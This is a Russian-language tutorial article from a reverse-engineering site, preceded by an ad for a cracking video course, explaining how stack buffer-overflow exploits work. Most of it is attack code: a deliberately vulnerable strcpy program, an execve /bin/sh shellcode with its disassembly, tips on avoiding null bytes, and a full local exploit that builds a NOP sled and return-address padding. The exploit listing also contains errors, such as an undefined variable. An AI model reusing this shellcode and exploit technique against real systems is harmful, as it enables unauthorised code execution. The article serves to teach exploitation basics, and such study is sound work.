Оригинальный DVD-ROM: eXeL@B DVD !
eXeL@B ВИДЕОКУРС !

ВИДЕОКУРС ВЗЛОМ
выпущен 2 июня!


УЗНАТЬ БОЛЬШЕ >>
Домой | Статьи | RAR-cтатьи | FAQ | Форум | Скачать | Видеокурс
Новичку | Ссылки | Программирование | Интервью | Архив | Связь

ПРОГРАММИРОВАНИЕ НА C и С++



Программисты долго мучаются с кодом прогаммы, изучают С++, WinAPI функции, MSDN. Потом пишут банальную систему защиты или навешивают банальный протектор, а крэкеры и реверсеры справляются с такой защитой за 5 минут. В итоге, продажи программы почти нулевые. Чтобы такого не допустить, тут самому надо немного поднабрать опыта отладки, реверсинга, тот же отладчик Ollydbg изучить или дизассемблер IDA Pro. Но где искать по крохам эти знания? Нет, конечно можно годами "методом тыка" разбираться, но куда быстрее видеокурс специальный посмотреть. Вот тут он есть: ссылка. Автор курса с большим опытом и объясняет понятно, я из этого курса много узнал про то как работает компьютер, процессор, про инструменты специальные и как с ними работать. Мои коллеги программисты на работе ничего такого и не знают, теперь я им нос утру.
.. Как устроены эксплоиты  //dev0id

Ответьте мне на один вопрос: "Пользовались ли вы когда-нибудь эксплоитами?". Если ответ оказался положительным, то я надеюсь вы хотя бы раз в своей жизни заглядывали в исходник такого эксплоита и пытались понять, как это все устроенно и как этот бред работает. Я попытаюсь разъяснить ситуацию: опишу принцип работы, приведу пример эксплоитируемой программы и пример эксплоита к ней, помогу понять байт-код, встраиваемый в эксплоит, и еще много всего интересного... но все по порядку.

Эксплоит, как известно, программа использующая некую ошибку в программном обеспечении для выполнения некоторых действий в атакуемой системе. Это может быть выполнение некоторого кода. Эксплоиты делятся на несколько категорий: эксплоиты приводящие к D.O.S. и эксплоиты выполняющие код. Конечно есть еще один класс эксплоитов - неработающие эксплоиты, но об этом мы поговорим позже.

В данной статье речь пойдет об эксплоитах приводящих к выполнению кода на атакуемой системе. Такие эксплоиты основаны, чаще всего, на переполнении буфера. Дело в том, что многие программные продукты содержат определенный класс ошибки, при которой данные не помещаются в отведенный в оперативной памяти массив, после чего оставшиеся данные непомещенные в массив попадают в стэк, где выполняются в качестве программного кода. Помните в эксплоитах некую непонятную строку символов, примерно из 15-50 байт... вот это и есть тот самый шеллкод - то, что по идее автора эксплоита должно попасть в стэк. Вот пример программы, при которой возможно переполнение буфера:

 ---------------------------------
 #include <string.h>
 int
 main(int argc, char* argv[])
 {
 	char buffer[100];
 	strcpy(buffer,argv[1]);
 	return 0;
 }
 ---------------------------------
 
Давайте рассмотрим пример подробнее: у нас есть массив из 100 элементов. Далее мы копируем первый позиционный параметр (параметр командной строки) в наш массив. Заметьте, что у нас нет проверки на длинну нашего входного параметра, т.е. существует прямая угроза переполнения нашего буфера.
Теперь рассмотрим примеры написания эксплоитов. Есть несколько возможностей получить эксплоит: найти в интернете, написать самому, подправить существующий. Первый способ самый простой, но и самый не надежный: не факт, что под данную операционную систему существует уже готовый эксплоит, да и возможно, что вы первый, кто нашел эту уязвимость. Второй способ самый лучший, так как вы сами пишите - сами пользуете. Но есть и отрицательные стороны: нужно знать как минимум один язык программирования для написания программы-"контейнера" (так я называю программу выполняющую главную функцию по установке шеллкода). В этом случае вы плавно спускаетесь до уровня 3 - модификация чужого эксплоита. Я не считаю это зазорным, так как зная, что ты изменяешь, можно получить совершенно новый эксплоит. Примером может послужить модификация шеллкода.

Вы наверное уже заметили, что не все эксплоиты работают (об этом я уже говорил). Одной из причин может послужить неверная версия ОС. Дело в том, что программы-шеллкоды различаются в написании для Линукса и БСД-систем, так как шеллкод обычно пишется на ассемблере, а, например, параметры в БСД системах передаются через стэк, в то время, как в Линуксе через регистры... но мы не об этом.
Чтоб не повторять уже написанных статей, я не буду рассказывать о том, как написать шеллкод - мы поступим по другому. Если человек чему-то хочет научиться, ему нужно смотреть в исходники уже написанных продуктов. У шеллкода также есть исходники, но как их получить? На ум приходит дизассемблирование. Берем готовый шеллкод и пихаем его в программу на С примерно таким образом:

 --------------------------------------------------------------------
 char shellcode[]=
 	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"
 	"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
 	"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff"
 	"/bin/sh";
 int
 main(int argc,char* argv[])
 {
 	void(*shell)()=(void*)shellcode;
 	shell();
 return 0;
 }
 --------------------------------------------------------------------
 
Компилируем. И дизасмим: objdump -D shellprog|more<>. Листаем до секции <shellcode>. Вы должны получить следующее:
 ------------------------------------------------------------------------------
 080494e0         <shellcode>:
  80494e0:	         eb 1f                      jmp    8049501 <shellcode+0x21>
  80494e2:	         5e                         pop    %esi
  80494e3:	         89 76 08             	mov    %esi,0x8(%esi)
  80494e6:	         31 c0                	xor    %eax,%eax
  80494e8:	         88 46 07             	mov    %al,0x7(%esi)
  80494eb:	         89 46 0c             	mov    %eax,0xc(%esi)
  80494ee:	         b0 0b                	mov    $0xb,%al
  80494f0:	         89 f3                	mov    %esi,%ebx
  80494f2:	         8d 4e 08             	lea    0x8(%esi),%ecx
  80494f5:	         8d 56 0c             	lea    0xc(%esi),%edx
  80494f8:	         cd 80                	int    $0x80
  80494fa:	         31 db                	xor    %ebx,%ebx
  80494fc:	         89 d8                	mov    %ebx,%eax
  80494fe:	         40                   	inc    %eax
  80494ff:	         cd 80                	int    $0x80
  8049501:	         e8 dc ff ff ff       	call   80494e2 <shellcode+0x2>
  8049506:	         2f                   	das
  8049507:	         62 69 6e             	bound  %ebp,0x6e(%ecx)
  804950a:	         2f                   	das
  804950b:	         73 68                      jae    8049575 <_DYNAMIC+0x2d>
 
 |_________|  |__________________|     |___________________________________|
   Смещение      байт-код(он и со-             дизассемблированный
  относитель-    ставляет шеллкод)              код  программы
   но начала
 ------------------------------------------------------------------------------
 
Вот мы и получили исходный код шеллкода. Если вы немного знакомы с программированием на ассемблере под юникс, то разобраться будет не сложно. Отмечу лишь то, что в данном случае используется системный вызов execve для запуска дополнительного шела /bin/sh (шеллкод взят с какого-то сайта). Как видите, по объему программа на асме не такая уж огромная... но вот пользы от нее уйма.
Стоит отметить, что сам шеллкод является данными, которые посылаются в буфер, а концом любых данных является нуль-байт - '\0'. По этому, когда вы будете писать свой байт-код, следите за тем, чтоб у вас не было байтов типа '\x00', так как после этого байта в стэк уже ничего не попадет. Для избежания этого не стоит использовать конструкции типа pushl $0. В случае, если вам нужно поместить в стэк ноль, пишите следующим образом:
 -------------------
 xorl  	%eax,%eax
 pushl	%eax
 -------------------
 
Также ошибка может заключаться в помещении в регистр номера системной функции. Обычно это байт а не двойное слово, по этому нужно вместо
 movl	$0x17,%eax
 
использовать пересылку командой movb в младшую часть регистра:
 movb	$0x17%al
 
Вообще, по написанию шеллкодов написанно множество статей, но боюсь, что ничего нового я не напишу...
Итак, у нас есть шеллкод. Для проверки его работоспособности вы можете его запустить (откомпиллированная программа). У каждой программы есть указатель на начало ее стэка. Получить его можно следующим образом:
 -----------------------------------
 unsigned long
 get_sp(void)
 {
 	__asm__("movl %esp,%eax");
 }
 -----------------------------------
 
Зная адрес начала стэка, мы пишем программу, при этом все переменные должны располагаться после этого адреса.
Итак, у нас есть программа, есть шеллкод.. пора брать быка за рога. У нас есть массив из 100 элементов - это значит, что нужно воткнуть наш шеллкод куда-то внутрь него. Но при этом не потерять его в памяти, те всегда иметь указатель на начало нашего шеллкода. Также нам необходимо, чтобы перед нашим кодом не попало в стэк ничего лишнего, что могло бы привести к сбою программы. Мы уже говорили об указателе на начало стэка, значит наш буфер должен располагаться если не сразу после этого адреса, то где-то неподалеку. Для того, чтоб пропустить весь "мусор", мы в буфер "мусор" кидать не будем - мы заполним буфер командой NOP. Данная команда используется для кратковременной задержки длительностью в один такт, так что она ничего не делает - происходит переход к следующей команде. Я думаю вы уже догадались... Мы просто заполним весь наш оставшийся массив данной командой (\x90), так что при прыжке в любое место буфера мы просто пропустим несколько тактов процессора и попадем на точку входа нашей процедурки на асме.
Давайте создадим новый буфер большей величины следующего содержания: начало будет состоять из NOP'ов, где-то в середине будет наш шеллкод, а в конце будет адрес возврата.
 --------------------------------------------------------------------
 #include <stdio.h>
 #include <stdlib.h>
 
 #define RET		                     1024
 #define RANGE                                  200
 
 
 char shellcode[]=
 	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"
 	"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
 	"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff"
 	"/bin/sh";
 
 unsigned long
 get_sp(void)
 {
 	__asm__("movl %esp,%eax");
 }
 
 int
 main(int argc,char *argv[])
 {
 	int offset=0,bsize=RET+RANGE+1;
 	int i;
 	char buff[bsize],*ptr;
 	long ret;
 	unsigned long sp;
 
 ;
 
 	if(argc<1)
 	{
 		printf("There where no offset\n");
 		exit 0;
 	}
 	offset=atoi(argv[1]);
 	sp=get_sp();
 	ret=sp-offset;
 
 	printf("The stack pointer is: 0x%x\n",sp);
 	printf("The offset is: 0x%x\n",offset);
 	printf("Ret_addr is: 0x%x\n",ret);
 
 	for(i=0;i<bsize;i+=4)
 	{
 		buff[i]=(addr&0x000000ff);
 		buff[i+1]=(addr&0x0000ff00)>>8;
 		buff[i+2]=(addr&0x00ff0000)>>16;
 		buff[i+3]=(addr&0xff000000)>>24;
 	}
 for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
 		buff[i]='\x90';
 
 	ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
 
 	for(i=0;i<strlen(shellcode);i++)
 		*(ptr++)=shellcode[i];
 
 	buff[bsize-1]='\0';
 
 execl("./vulnerable1","vulnerable1",buff,0);
 
 
 
 }
 --------------------------------------------------------------------
 
 
Смещение стоит выбирать такое, чтобы попасть. Так как в нашем случае буфер находится в качестве единственной переменной, к тому же она находится в начале программы, то и смещение должно быть относительно малым. У меня на машине смешение от 200-700 работало, но помните, что это зависит от конкретной машины, следовательно у вас это значение может отличаться.

<< ВЕРНУТЬСЯ В ПОДРАЗДЕЛ

<< ВЕРНУТЬСЯ В ОГЛАВЛЕНИЕ




Материалы находятся на сайте https://exelab.ru/pro/



Оригинальный DVD-ROM: eXeL@B DVD !


Вы находитесь на EXELAB.rU
Проект ReactOS